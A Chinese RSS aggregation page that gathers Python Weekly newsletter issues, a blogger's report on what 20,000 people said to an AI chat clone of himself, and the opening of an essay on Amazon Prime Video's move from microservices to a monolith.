探讨了在海外独立开发者中最常用的 build in public 策略。我对这期节目很有共鸣,打算针对本周刊的一些数据、周刊的创作流程、个人知识输入及创作体系等话题,不久会做一些分享。
这是一档新上线的程序员闲聊播客节目,主题很随性,但常常有能打动人的片段。这里分享的是第一期,它目前已更新到第三期,第三期请的嘉宾是 Vue 的作者尤雨溪!
这期播客聊了一些 Git 工具,如 Git-Heat-Map、Git-Sim、git-bug、GitUI,等等。因为有两个工具是用 Python 编写的,因此也聊了一些 Python 安装依赖包的话题。Brett Cannon 针对主播们的错误用法,写了一篇回应博客 ,主要介绍了 pipx、.pyz 文件以及系统包管理器的正确使用。
“Talk Python To Me”的这期播客探讨如何处理程序要用到的敏感信息,同时也聊到了日常个人密码的保存方案。我正巧本周还看到一篇《2023-21: 我的 1Password 密钥管理实践》,它系统介绍了密码管理、SSH/Shell 集成和 CI/CD 应用等内容。
使用 OpenAI 的 ChatGPT API 构建系统、LangChain 用于开发 LLM 应用、Diffusion模型是如何工作的。
麻省理工学院的免费课程:Python 计算机科学和编程简介、经典机器学习、深度学习。

赞助&支持

内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
另诚邀赞助者,欢迎通过私信联系。

关于周刊

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

June 03, 2023 12:00 AM

May 31, 2023

pythoncat

Python潮流周刊#4:Python 2023 语言峰会

你好,我是猫哥。这里记录每周值得分享的 Python 及通用技术内容,本期是特别加更版,聚焦于 Python 官方 2023 年语言峰会的系列博客。
每年在 PyCon US 开始之前,Python 核心开发者、维护者和特邀嘉宾都会聚在一起参加 Python 语言峰会:这是一个为期一天的会谈活动,讨论 Python 的未来方向。
今年的活动刚结束一个月,PSF 在本周一发布了多篇博客,回顾了峰会上的一些演讲内容。本期周刊将这些文章进一步作了摘要,分享给大家:
这是关于 C API 的三场演讲。首先,Mark Shannon 和 Guido van Rossum 提及当前 C API 对第三方扩展的支持不够,经常在升级版本时破坏它们的功能。会上的结论是收集 C API 的问题清单,再制定解决方案。
另一场演讲是关于 HPy,它是一个用于编写 Python 扩展模块的新的 API,旨在解决 CPython C API 的一些限制和问题。它的好处是编写的扩展模块可以在不同的 Python 实现中运行,例如 CPython 和 PyPy。但是,演讲者想要官方将它作为推荐方案的想法没有得到支持,一方面的原因是它还不够完善,更重要的原因则是 Guido 评论的自上而下的方法行不通。HPy 似乎是挺不错的克服 C API 问题的方案,但它要取代 C API 的地位,还为时尚早。
我们曾多次介绍过 nogil 项目,比如在周刊第二期就分享了一篇文章。在本次峰会上,nogil 的作者 Sam Gross 介绍了过去一年的进展,给出了 nogil 在性能上取得的令人满意的数据,还提出了更明确的路线图。大家最担心的依然是它提出编译成两个发行版、以及导致的调试困难等问题。(我们曾在 2 月份的一篇文章 中讨论过)
Joannah Nanjekye 的演讲介绍了 Scalene,这是一个基于采样的 Python 分析器,可以在报告中区分机器代码和 Python 代码。使用 C、C++ 或 Rust 编写的 Python 扩展会被编译为机器代码,因此很难用采样的方式分析。Scalene 解决了一些技术难题,是最受欢迎的 Python 分析工具之一。演讲者试探性提出将 Scalene 的成果集成到标准库 cProfile 中,但没有得到响应。最后,这个库还被拿来跟 Python 3.12 中引入的 perf 分析器作比对。
Brett Cannon 提出的问题实际是:标准库应该扮演什么样的角色?Python 在发展初期自诩“自带电池”,包含了很多标准库,但随着第三方库越来越丰富以及 PyPI 使得安装库非常便利,很多标准库就不再有价值了。与会者的共识是:标准库应该专注于帮助用户编写更好的 Python 代码。这意味正在进行的标准库“瘦身计划”不会停,同时,未来的新标准库会更加规范引入。
模式匹配语法是 3.10 版本的重大特性,但是 Sullivan 认为它的能力相当有限,因此提出了模式匹配的后续发展方向。与会者们普遍认同要增强模式匹配语法,然而,是否要引入一个新的魔术方法 __match__,或者采用别的方案,暂无定论。文中附有很多代码示例以及关于模式匹配的参考资料,对此话题感兴趣的同学可以去了解下。
Russell Keith-Magee 介绍了 BeeWare,它的目标是在 Android 和 iOS 等移动平台上轻松运行 Python。项目已得到 Anaconda 的投资支持,演讲者的诉求是希望得到 CPython 的“Tier-3”支持。会上讨论了 CI 测试套对移动平台的支持、sys.platform 在移动平台应该得到什么值、以及如何在移动平台发布 CPython 二进制文件,等等。手机上的 Python,这值得期待!
Guido 在峰会上聊了开源倦怠、解决倦怠的策略、以及如何避免倦怠等话题。很多时候,开源贡献者都是在用爱发电,然而大型开源项目还常常有复杂的场景、琐碎的讨论、多样的人际协作、时常冲突的观点或想法等,这些都容易让人疲倦、消磨人的热情。(PS.如果你关注技术新闻的话,会看到 Rust 社区最近闹得沸沸扬扬的核心开发者内讧事件。开源社区的发展也是一大难题,庆幸的是这届峰会反映出 Python 社区是在健康发展中)
介绍了三场简短的闪电演讲,主题有:让我们支持 LLVM-BOLT 作为官方功能、在 Python 中实现延迟导入的机制、让模块支持调用(已提出 PEP-713)。
以上就是今年峰会上讨论的重大议题,可以说都是非常有意义的话题。
有不少内容其实已经有了最新进展(毕竟活动已结束一个月),还有一些可能仍需较长时间才能尘埃落定(比如 nogil 和手机上的 Python)。
这里再补充两篇文章,有关于 Fast CPython 项目的进展:《Faster CPython at PyCon, part one》、《Faster CPython at PyCon, part two》,Python 3.11 已经让大家看到了非常多的性能提升,未来版本更值得期待。

赞助&支持

内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
另诚邀赞助者,欢迎通过私信联系。

关于周刊

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

May 31, 2023 12:00 AM

May 27, 2023

pythoncat

Python潮流周刊#3:PyPI 的安全问题

你好,我是猫哥。这里记录每周值得分享的 Python 及通用技术内容,部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)

文章&教程

介绍类和对象概念,通过示例展示 Python 中的类和对象如何工作,包括定义、实例化和继承等。文章出自《Python全景系列》,目前已更新七篇。
介绍如何在 Tornado 中集成 umongo 和 motor,实现用异步非阻塞的方式与 MongoDB 进行交互。文章出自《tornado 并发编程系列》,目前已更新六篇。
演示了如何使用 langchain 和 ChatGPT 搭建一个本地的 PDF 知识库,文中使用了 pdfplumber 处理 PDF 文件、使用 streamlit 绘制 UI 界面。知识库搭建和使用流程图如下:
一个流行的观点说:CPython 有一个大switch,会根据不同的 opcode 跳到相应的 case 分支去执行字节码。文章提出了质疑,最后的结论是:只要 Python 启用了 computed goto (比如在 Mac 和 Linux 上),字节码的执行就不依赖 switch。而这个功能在 Python 3.2 中就已是默认开启的。
文章的开头把我震惊了:“SQLite 源码有 15 多万行,但测试代码和脚本竟有九千多万行”!文章介绍了 SQLite 的架构,以及多个基于它的开源项目,如 Litefs、sql.js、absurd-sql、postlite、sqlite3vfshttp 等等,回答了为什么 SQLite 能在如此多领域有创新的项目出现?
通过 Docker 和 80 行左右的 Python 代码,实现一款类似 Midjourney 官方图片解析功能 Describe 的 Prompt 工具。提供了两个版本的工具,分别支持 CPU 和 GPU 推理使用。
分享了从 Rust 中学到的一些编程习惯:使用类型提示、使用数据类代替元组或字典、使用代数数据类型、使用“newtype”、使用构造函数、使用互斥锁等。总体而言,它们并不是那些“个人喜好式”的编程风格,而是切实能提升代码健壮性和可维护性的编程经验。
这个《Flask Tips》栏目已分享了 58 个使用 Flask 的小知识,另外其作者在最新的博文《我开发 Flask 程序时最喜欢用的库》中,介绍了 APIFairy、Frozen-Flask、Flask-SQLAlchemy 等 10 个常用的库。
9、Celery 的诸多问题(英文)
Celery 是一个分布式任务队列库,用于实现异步处理和定时任务等功能。但它有很多“问题”,这篇文章一口气列出了 15 个,是一份避坑指南。不过,并非所有问题都有解决方案,比如说它 API 接口不够 Pythonic、没有类型检查等,这些就只能“Live with it”了……
作者遇到一个静态验证 PromQL 查询的需求,但没有可用的 Python 库。文章介绍了使用 Gopy 将 Go 代码编译成 wheel 文件的方法,另外也提醒几个注意事项,比如对错误的处理、操作系统的兼容性问题、调试和测试的问题。
使用 Pandas 前需要加载数据,它支持非常多种数据格式,但哪种才最合适呢?文中给出了三个衡量标准(类型支持、磁盘格式、读写速率),并测试了三种数据文件(CSV、JSON 和 Parquet),你猜最后的结论是什么呢?
12、关于 PyPI 的一系列新闻/文章(英文)
PyPI 在 3 月上线了官方博客,5 月初刚宣布获得了 AWS 的 14.4 万美元赞助,用于开设一个新的安全工程师职位。巧的是本周密集出现了几件与安全相关的事情。
  • 5.21,PyPI 在连续一周受到恶意软件的侵扰后,临时暂停了新用户的注册及新项目的上传。(这有一篇文章,提到一则有相关性的新闻,这些恶意软件可能是趁 ChatGPT 的热点,通过窃取剪贴板内容从而劫持加密货币交易)
  • 5.23,PyPI 宣布移除 PGP 签名,因为近三年上传的签名仅有 36% 为有效的,移除这项功能有利于降低维护成本。(这有一篇文章,使用大量数据和统计图分析了 PyPI 上糟糕的 PGP 情况)
  • 5.24,PyPI 发了一篇博客,披露 PSF 收到了美国司法部的三张要求提供 PyPI 用户数据的传票,在律师的建议下,他们提供了司法部索要的数据,并公开了传票的相关细节。
  • 5.25,PyPI 发布《通过双因素身份验证保护 PyPI 帐户》,宣布在 2023 年底前,PyPI 上的帐户都必须启用双重验证(2FA),以此提升账户的安全性。
  • 5.26,PyPI 发布《减少 PyPI 中存储的 IP 数据》,介绍了团队出于不存储用户 IP 的目的而做的一些事情,试图既要保护用户的隐私,又能更好地运维管理。

项目&资源

使用 LangChain 作为 LLM 主体框架,使用 go-cqhttp 进行 QQ 机器人部署,TTS 支持 vits、edge-tts,语言模型支持ChatGPT 和 Claude。
技术栈: NextJs + TS + ChakraUI + Mongo + Postgres,支持私有化部署,可以在线体验。
文档将这种新格式与 TOML、YAML 和 JSON 分别做了对比,并详细展示了在 Python 中的使用方法。
命令行程序本就是无界面的,但是这对于用户来说不够友好。这个项目可以生成美观的界面,用于编辑和运行命令。
可在交互式会话期间,跟踪符号和单元格之间的数据流关系,支持的功能:显示执行建议、支持响应式执行、语法拓展、集成了 ipywidgets,等等。
solara 可使用 Reacton(纯 Python 实现的 React)创建基于 ipywidget 的程序。可用在 Jupyter Notebook,也可以作为独立的 Web 程序在 FastAPI 等框架中使用。
3.12 的最终版本计划在 10 月 2 日发布,目前发布了 beta 1 版本,意味着不会再加入新功能。总体而言,这个版本更为精简了(删除了很多函数、类和方法),性能方面也有很多优化。值得一提的是,这个版本虽然引入了 PEP-684(每个子解释器的独立 GIL),但需要等 3.13 版本实现 PEP-554(标准库中的多解释器)后,才真正的可用。
这是一个有意思的网站,可比较不同编程语言在 300 多项习惯用法上的区别,提升学习效率。我们这里比较了 Python 和 Rust,在网站首页可选的语言有 30 种。

播客&视频

哈佛大学计算机科学专业的入门课程,向初学者介绍计算机科学和编程基础,以及如何使用 Python 进行编程。目前已有 50 万人参与学习。
这期视频中,《Django by Example》书籍的作者推荐了 10 个 Django 插件,例如 Django Debug Toolbar、Django REST Framework、Django Channels,等等。

问题&讨论

来自一则匿名爆料,Windows 要利用开源项目 libarchive 实现对 rar 等格式的支持了。这会是真的么?
从可维护性、优雅性、灵活性和开发速度的角度来看,这两种语言的 API 开发体验哪种更好?

赞助&支持

内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
另诚邀赞助者,欢迎通过私信联系。

关于周刊

Python 潮流周刊,精心筛选国内外的 200+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

May 27, 2023 12:00 AM

May 20, 2023

pythoncat

Python潮流周刊#2:Rust 让 Python 再次伟大

这里记录每周值得分享的 Python 及通用技术内容,部分为英文,已在小标题注明。(本期标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)

文章&教程

介绍了装饰器的实现原理、带参装饰器、多装饰器、类装饰器和几个典型的示例。文章发布于 2014 年,代码用的还是 Python 2。之所以分享这篇文章,因为它是左耳朵耗子唯一以 Python 为话题的文章,而且写得详细到位。
出自我们的老朋友@古明地觉 的新系列《asyncio 系列》,半个月内已连载 14 篇。真想问问他是如何做到如此高产又高质量的?!文章回答了:如何设计既能接收协程又能接收普通 Python 函数的 API,如何强制事件循环的迭代,如何在不传递参数的情况下在任务之间传递状态……
介绍了 uWSGI 和 Nginx 的配置,实现对 Django 服务的反向代理及负载均衡。该文出自仍在连载的《Django 系列》,目前该系列包含 44 篇文章,能作为系统学习 Django 的参考材料。
Python 目前的包管理工具多得让人眼花缭乱,而 Conda 和操作系统的包管理器也存在诸多问题(本周刊第一期就有两则相关内容)。Flask 作者 Armin Ronacher 用 Rust 开发的 rye,借鉴了 Rust 包管理的经验,试图提供一个标准化的解决方案。这篇文章介绍了 rye 的安装及使用。
PyInstaller 可将 Python 程序打包为一个可执行文件,支持多个平台如 Windows、Mac 和 Linux。这是一篇简单清晰的使用教程,除了基础介绍外,难得的是它还介绍了两种打包方式的优缺点,以及打包后常见的 5 个问题。
Python 3.12 即将推出“Per-Interpreter GIL(PEP-684)”特性,它允许 Python 实现真正的并行处理。代码虽然已在 alpha 版本中,但目前只能通过 C-API 使用。文章使用 CPython 的test 模块演示了子解释器的示例。
nogil 项目是另一个试图实现真正多线程的方案,这篇文章测试发现 CPython 3.9-nogil 在单文件和多文件的情况下,比未修改的 CPython 3.9 分别快 2.5 倍和 10 倍。nogil 项目最新的进展是形成了正式的 PEP-703,相关介绍在此
PyCharm 官方推出的文章教程,指导在 PyCharm 中创建项目、导入包、使用 Typer 库创建 CLI 应用、运行和调试代码、创建和编辑运行配置,适合于新人学习练手。另外,PyCharm 2023.1.2 版本刚刚发布,可以去尝鲜!
在 Python 中,一切都是对象,包括。元类是 Python 的一项强大功能,允许你在运行时动态地创建类(实际是创建一个type 类型的对象)。文章探讨元类的基础知识,以及更高级的功能和示例。
有一道很常见的面试题:“当在浏览器输入 google.com 后会发生什么?”由于见得多了,每个人都能回答个一二,但是,经常跟终端打交道的我们,能否回答这个问题呢:当在终端输入命令后会发生什么?文章主要介绍了终端的历史、启动过程、命令的解析和执行过程。

项目&资源

该项目的目标是为 Win 10-11 中最常见的 CLI 包管理器(如 Winget、Scoop 和 Chocolatey)创建一个直观的 GUI。已支持软件包的安装、更新和卸载、排队安装、消息通知、黑暗模式、导入/导出等功能。
Pandas 无疑是目前最流行的数据分析和处理工具,当它结合了生成式 AI 的能力后,会不会更好用呢?答案似乎是的!pandasai 项目支持用文字的方式操作 Pandas 的数据对象,可简化很多 Pandas 库的操作。
一个专为 Prompt Engineer 设计的 LLM Prompt Layer 框架,支持连续对话、角色预设、对话存储、工具扩展等功能,可以无需代理直接访问,开箱即用。 通过 promptulate,你可以轻松构建起属于自己的 GPT 应用程序。
MicroPython 新发布了 1.20 版本,引入了一个新的轻量级包管理器,减小了代码大小,并增加了对许多新板的支持。另外,LWN 的这篇文章对此版本做了介绍,文章还提到 Anaconda 有可能在 Q2 将 PyScript 的运行时从 Pyodide 替换为 MicroPython。
使用本地化的 GPT 大模型与你的数据和环境交互,无数据泄露风险,100% 私密,100% 安全。基于 FastChat 构建大模型运行环境,并提供 vicuna 作为基础的大语言模型,通过 LangChain 提供私域知识库问答能力,支持插件模式,在设计上原生支持 Auto-GPT 插件。

播客&视频

断更许久的《捕蛇者说》播客回归了!本期的嘉宾是 PyO3 项目的维护者,他的另一个身份是 wechatpy 的作者。Rust 和 PyO3 项目能放大 Python 的优势,并能改造 Python 的应用生态。我们曾推荐过性能最快的代码分析工具 Ruff,另外 Flask 作者新开发的包管理工具 rye,它们都是 Rust 与 Python 结合的产物。(题外话:看到了捕蛇者说的三位主播发推/发博缅怀左耳朵耗子,想不到他对 Python 圈子有这么多渊源。R.I.P)
Pydantic 2.0 使用 Rust 重写了核心及顶层的代码,将对构建在其之上的库产生积极的影响,比如 FastAPI。播客邀请了 Pydantic 的 Samuel Colvin 以及 FastAPI 的 Sebastián Ramírez 一起采访,话题度很新!
我在上个月推荐过新上市的《流畅的 Python》中文第二版(链接),这里补充两则相关材料。这期播客来自 thoughtworks,是在《Fluent Python》英文第二版上市前的访谈,介绍了关于 Python 发展、不同语言的对比、新书的变化等。另外,他们还在 2020 年新书写作期间录了一期“The future of Python”,两期播客都有完整的文字稿。
一则简短的科普视频,介绍了七种分布式系统模式:Ambassador、Circuit Breaker、CQRS、Event Sourcing、Leader Election、Publisher/Subscriber、Sharding。视频中的动画和图例都非常直观和舒适,让人赏心悦目。

问题&讨论

V2ex 上的一个帖子,大家对这样的话题似乎很有发言欲。我在此最想推荐的 APP 是 Feedly 和 Substack,用于阅读 RSS 和 Newsletter。Feedly 对本周刊的素材采集帮助极大!(心愿:依靠读者的打赏,让我用上 Feedly Pro+ 的 AI 功能!)
2、rye 应该存在么?(英文)
前文已提到过 rye,那么,mitsuhiko 是出于什么考虑而开发了它呢?它想解决什么样的问题,想打造出一款什么样的工具呢?Python 官方对包管理会有什么发展支持呢?Github 上的这个问题引起了广泛的讨论。
V2ex 上的帖子,楼主分享了自己从读书到就业前几年的故事,评论区有不少人分享了自己的经历。你是如何开始自己的程序员之路的呢?

赞助&支持

内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
另诚邀广告主,欢迎通过私信联系。

关于周刊

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

May 20, 2023 12:00 AM

May 14, 2023

greatdk

我看了一下 2 万人和我的克隆人都聊了些啥,结果不是很乐观

上一篇文章,我介绍了我用自己的微信聊天数据和博客文章来训练的文本聊天模型,这篇文章被广泛传播,以致出现了很多没有必要的误会,例如很多人和这个AI聊完之后,认为我有7个女朋友,有两个男朋友,居住在北京西城区,支付宝密码是 -465g41#$ ,在北京航空航天大学读研究生等等

在此首先我想做个澄清,这些都是错的,都是这个 AI 瞎编的。

这里有必要再具体一些的说明我的训练方式——即便我拿来“开刀”的模型只有60亿参数(相较于chatgpt上千亿的参数已经很小了),将 60 亿参数全部重新训练也不现实,成本还是其次,要“喂饱”这60亿参数也需要比我的十万条数据多得多的数据,因此,我采用的是一种对部分参数微调的办法,模型的参数被分为了许多神经网络层,我主要调整的是 KV 层,这一层的参数更多的像是一种逻辑,说话方式,感觉,而不是具体的知识,模型的知识储存在其它层,虽然 KV 层的调整也会影响知识,但总的来说,在 KV 层注入知识是非常费力的。

我花了很大功夫,才让模型知道我叫啥,指望聊天记录中没出现过,或者只是出现过几次的信息,模型就记住,那根本就不可能,所以本质上它不会泄露我的任何隐私。

即便如此,很多人还是乐此不疲的和这个 AI 聊天,过去的这段时间,共有超过 2 万人,和我的克隆人聊了 13 万次。我并没有对每一句话做搜集,甚至连 Google 统计都没有用,但日志里记录了所有的请求,这是完全匿名的数据,所以我可以从日志里做一些数据分析。

一开始,我只是简单根据独立IP,统计有多少人来聊过,然后看一共有多少次生成记录,日志里有很多乱七八糟的信息,做进一步的分析会非常麻烦。

五一假期的时候,我组装的固定翼飞机炸鸡了,等网上买的零件送到的过程实在太无聊,所以我又重新捡起这些日志输出,开始看有没有什么办法能做点好玩的分析,说来惭愧,我又想到了 chatgpt,首先我让 chatgpt 帮我写了脚本,将其中的所有用户的输入和模型的输出全部匹配出来,然后我用它们做了两张词云图:

这是大家发过来的文本生成的词云图,从这张图中,大家喜欢聊什么一目了然,大约有三千人问我的女朋友叫什么名字,粗略统计,模型一共生成了两千多个名字,当然,没有一个是对的。此外还有上千人致力于探索我的支付宝密码和银行卡密码,大多数时候 AI 都会敷衍过去,但还是有一小部分得到了一个看上去像是密码的,其实是瞎编的字符串,甚至还有人兴高采烈去发贴,认为套出了我的密码,很遗憾,这确实都是瞎编的。

因为一开始的某些误会,很多人和它聊天的时候都试图和它对骂,或者诱导它骂人,这个倒是大多数人都成功了,希望被骂的朋友不要生气。

这是 AI 回复的词生成的词云图,除了作为一个AI模型特有的机器人啦,聊天啦,人工智能啦之类经常会出现的词之外,「哈哈哈」和「可以」很明显,这某种程度上确实像是我经常敷衍时候说的话。

从聊天轮次来看,超过 45% 的人和他聊了二十句以上,这非常出乎我的意料,因为我训练用的全是单轮对话,所以模型在多轮对话的表现上是非常弱鸡的,直观感受就是记不住前面的话,容易变的错乱。在这样的情况下大家还愿意和他聊这么多,可能说明,如果一个bot,人们愿意把它当成一个人,那么投射进去的情感,会让人忽略掉一些明显的缺点。

在上线后不久,我加入了一个问卷,询问大家觉得这个聊天bot如何,60%的人觉得它很不错,有人认为它很狡猾

 

 

有人认为它答非所问

还有人和它对骂,觉得它骂的不够狠

 

这些调研让我对优化有了一些更明确的方向,例如多轮对话能力,逻辑性,更好的记住知识,当然,之前的训练方式已经很难做更多优化了,我会用一些新的方式来做探索,其中之一是强化学习,我改动了一下聊天的网页,每次你发一句话过去,它会回两句,需要手动为回复来投票。

通过这种方式,我可以搜集更多的人类监督投票的数据,从而优化模型的表现,在多轮对话和知识记忆上,也有新的方法,不过我还拿不准。

这篇文章,除了告诉大家一下后续之外,也希望邀请大家再去和它聊聊,并且多投票,这样,一段时间之后,我就有更大把握把它做得更好。

 

聊天地址:DK数字分身 (greatdk.com)

by DK at May 14, 2023 12:01 PM

May 13, 2023

pythoncat

Python潮流周刊#1:如何系统地自学Python?

这里记录每周值得分享的 Python 及通用技术内容,部分内容为英文,已在小标题注明。(本期标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)

文章&教程

文章讨论了编程中处理错误的四种常见方法:返回错误代码(C、Go)、异常(Java、C#、Python、C++)、回调函数(JavaScript)和 Result 对象(Haskell、Rust、Kotlin)。对每种方法进行了分析,介绍了它们的优缺点以及使用时需要注意的地方。
文章介绍了描述器的实现原理,分析了 CPython 源码中描述器相关的字节码指令,并使用 Python 代码解释了描述器的执行逻辑。文章出自 Github 上的《深入理解 Python 虚拟机系列》,该系列已含 20+ 文章。
最近 AI 孙燕姿太火了!文章基于 Python3.10 和开源库 so-vits-svc(高表现力的语音合成模型)、Spleeter(人声和伴奏分离)和 FFMPEG(声音与伴奏合并),手把手演示了让 AI 孙燕姿演唱歌曲。(PS.由于担心侵权风险,so-vits-svc 项目已经归档了)
文章介绍了 Python 的 C 语言 API 相关特性,最后实现了一个模仿官方 datetime 的 C 扩展模块。文章出自《Python 之 C 语言 API 系列教程》的第一篇,该系列目前已更新两篇。
这是一个系列文章,目前包含 31 篇文章,最近介绍的几个工具是数据库相关的:Neo4j(一个 NoSQL 图数据库,使用 Py2neo 操作)、PostgreSQL(一个关系型数据库,使用 Psycopg2 操作)、MongoDB、Access、ClickHouse、Redis 等。
Łukasz Langa 发起的新提案,提议支持在模块的全局命名空间中定义一个__call__对象以使模块可直接调用,__call__对象可以是一个标准函数或任意可调用对象。提案目前是草稿状态,未采纳。
在较新 Linux 系统上使用 pip install 时可能遇到“externally managed environment”错误。原因:Linux 发行版已预装某些 Python 包,pip install 可能导致系统包冲突。解决方法:开发时用虚拟环境;Docker 里不用系统 Python;需最新工具时用 pipx。Python 包管理较为痛苦,短时间内难以改善。
Bevy v2.0 是一个强大的依赖注入框架,可以帮助简化 Python 应用程序的管理。文章介绍了三种解决依赖关系的方法:全局变量、参数传递和依赖注入。Bevy v2.0 使用的方法包括参数注入、属性注入、仓库和依赖构造函数等。

项目&代码

最近几个月,乘着人工智能的东风,Github 上天天都被 AI 相关的项目屠榜,相信读者们已经从各种渠道看到过那些知名的以 Python 为主的开源项目了。因此,为了不撞车,本周刊主要收录一些小而美的项目。本期以中文开发者的项目为主。
一个“有生命的”语音助手 Python 项目,支持与前端通信、语音识别、chatGPT 接入和语音合成。前端部分可渲染人物动画、录音和播放声音。
具有以下特点:使用 top1 检索替换输入源特征为训练集特征来杜绝音色泄漏;即便在相对较差的显卡上也能快速训练;使用少量数据进行训练也能得到较好结果(推荐至少收集 10 分钟低底噪语音数据);可以通过模型融合来改变音色(借助 ckpt 处理选项卡中的 ckpt-merge);简单易用的网页界面;可调用 UVR5 模型来快速分离人声和伴奏。
一个可以将电子书翻译成指定语言(原文译文对照)的 Calibre 插件。支持多种翻译引擎,包括 Google 翻译、ChatGPT 以及 DeepL。支持所有 Calibre 所支持的电子书格式(输入格式 48 种,输出格式 20 种)。支持批量翻译、支持缓存续译、提供大量自定义设置。
一个完全重写的超轻量级 Python 引擎,零依赖,零配置,可以在 Flash ≤ 64KB,RAM≤ 4KB 的平台下运行,极易部署和扩展,具有大量的中文文档和视频资料。

播客&视频

“每一位 hacker,每一位开发者,每一位程序员,都值得拥有一个属于自己的小生意”。这档播客已发布了几期关于独立开发者的话题,对作为程序员的我们,在技术、产品、创业等方面会有所启发。
在 4 月的 PyCon 上,有一个专门展示新型 Python 创业公司的展台,叫做 Startup Row。在这期节目中,主播与这些公司的创始人分别聊了 5-10 分钟,这期节目同时包含了播客和视频。
Mojo 是 LLVM 及 Swift 之父新开发的 AI 编程语言,号称比 Python 快 35000 倍。Mojo 已支持 Python 的许多核心特性,包括 async/await、错误处理、可变参数等等,但是它仍然处于早期阶段,缺少许多功能,比如还不支持类!
鼎鼎大名的吴恩达联合 OpenAI,推出了一个面向开发者的 ChatGPT 提示词课程。这是 B 站上的链接,配有双语字幕。

问题&讨论

知乎上的一个热门问题,已有 7.4 万人关注和 1200+ 回答。
v2ex 上的一个帖子,吐槽使用 Conda 遇到了各种问题,包括安装后找不到命令、安装依赖卡住不动、影响系统更新等等。
这个帖子提出了一个想法:让 Python 的 for 循环支持推导式语法“for i in x if i % 2 == 0:”。

赞助&支持

内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
另诚邀广告主,欢迎通过私信联系。

关于周刊

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

May 13, 2023 12:00 AM

May 08, 2023

coolshell

是微服务架构不香还是云不香?

这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《规模化Prime Video的音视频监控服务,成本降低90%》,副标题:“从分布式微服务架构到单体应用程序的转变有助于实现更高的规模、弹性和降低成本”,有人把这篇文章在五一期间转到了reddithacker news 上,在Reddit上热议。这种话题与业内推崇的微服务架构形成了鲜明的对比。从“微服务架构”转“单体架构”,还是Amazon干的,这个话题足够劲爆。然后DHH在刚喷完Typescript后继续发文《即便是亚马逊也无法理解Servless或微服务》,继续抨击微服务架构,于是,瞬间引爆技术圈,登上技术圈热搜。

今天上午有好几个朋友在微信里转了三篇文章给我,如下所示:

看看这些标题就知道这些文章要的是流量而不是好好写篇文章。看到第二篇,你还真当 Prime Video 就是 Amazon 的全部么?然后,再看看这些文章后面的跟风评论,我觉得有 80%的人只看标题,而且是连原文都不看的。所以,我想我得写篇文章了……

原文解读

要认清这个问题首先是要认认真真读一读原文,Amazon Prime Video 技术团队的这篇文章并不难读,也没有太多的技术细节,但核心意思如下:

1)这个系统是一个监控系统,用于监控数据千条用户的点播视频流。主要是监控整个视频流运作的质量和效果(比如:视频损坏或是音频不同步等问题),这个监控主要是处理视频帧,所以,他们有一个微服务主要是用来把视频拆分成帧,并临时存在 S3 上,就是下图中的 Media Conversion 服务。

2)为了快速搭建系统,Prime Video团队使用了Serverless 架构,也就是著名的 AWS Lambda 和 AWS Step Functions。前置 Lambda 用来做用户请求的网关,Step Function 用来做监控(探测器),有问题后,就发 SNS 上,Step Function 从 S3 获取 Media Conversion 的数据,然后把运行结果再汇总给一个后置的 Lambda ,并存在 S3 上。

整个架构看上去非常简单 ,一点也不复杂,而且使用了 Serverless 的架构,一点服务器的影子都看不见。实话实说,这样的开发不香吗?我觉得很香啊,方便快捷,完全不理那些无聊的基础设施,直接把代码转成服务,然后用 AWS 的 Lamda + Step Function + SNS + S3 分分钟就搭出一个有模有样的监控系统了,哪里不好了?!

但是他们遇到了一个比较大的问题,就是 AWS Step Function 的伸缩问题,从文章中我看到了两个问题(注意前方高能):

  1. 需要很多很多的并发的 AWS Step Function ,于是达到了帐户的 hard limit。
  2. AWS Step Function 按状态转换收费,所以,贵得受不了了。

注意,这里有两个关键点:1)帐户对 Step Function 有限制,2)Step Function 太贵了用不起

然后,Prime Video 的团队开始解决问题,下面是解决的手段:

1) 把 Media Conversion  和 Step Function 全部写在一个程序里,Media Conversion 跟 Step Function 里的东西通过内存通信,不再走S3了。结果汇总到一个线程中,然后写到 S3.

2)把上面这个单体架构进行分布式部署,还是用之前的 AWS Lambda 来做入门调度。

EC2 的水平扩展没有限制,而且你想买多少 CPU/MEM 的机器由你说了算,而这些视频转码,监控分析的功能感觉就不复杂,本来就应该写在一起,这么做不更香吗?当然更香,比前面的 Serverless 的确更香,因为如下的几个原因:

  1. 不再受 Step Function 的限制了,技术在自己手里,有更大的自由度。
